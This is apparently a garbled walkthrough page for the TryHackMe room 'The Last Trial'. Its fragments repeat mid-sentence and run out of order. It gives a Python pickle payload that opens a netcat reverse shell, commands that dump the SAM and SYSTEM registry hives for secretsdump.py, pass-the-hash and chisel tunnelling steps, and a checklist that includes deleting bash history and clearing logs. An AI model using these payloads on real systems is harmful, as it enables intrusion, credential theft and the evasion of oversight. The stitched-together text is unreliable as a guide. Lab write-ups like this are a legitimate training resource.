The Last Trial Tryhackme Verified May 2026

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LastTrial Retrieve it with:

reg save hklm\sam sam.save reg save hklm\system system.save Download to attacker, use secretsdump.py to get Administrator hash. Pass-the-hash to gain SYSTEM. On Machine 2 as SYSTEM, the final flag is not in a text file. The verified flag is a hexadecimal string stored in the Windows Registry under: the last trial tryhackme verified

Introduction If you are navigating the challenging waters of the TryHackMe platform, you have likely encountered a room that strikes both fear and excitement into the heart of even seasoned penetration testers: The Last Trial . This room is infamous for being the capstone challenge of the Offensive Security track, demanding a synthesis of everything you have learned—from enumeration and exploitation to privilege escalation and lateral movement. The verified flag is a hexadecimal string stored

./chisel client YOUR_IP:8000 R:socks Use proxychains to SSH into Machine 2: Your netcat listener catches a shell as www-data

import pickle import os class RCE: def __reduce__(self): return (os.system, ('nc -e /bin/bash YOUR_IP 4444',)) pickled = pickle.dumps(RCE()) with open('config.pkl', 'wb') as f: f.write(pickled) Upload as config.pkl . Your netcat listener catches a shell as www-data .

✅ Root on Machine 1 via race condition ✅ SYSTEM on Machine 2 via HiveNightmare ✅ Found and decrypted the registry flag ✅ Submitted the correct final hash to TryHackMe ✅ Deleted bash history and cleared logs (audit passes)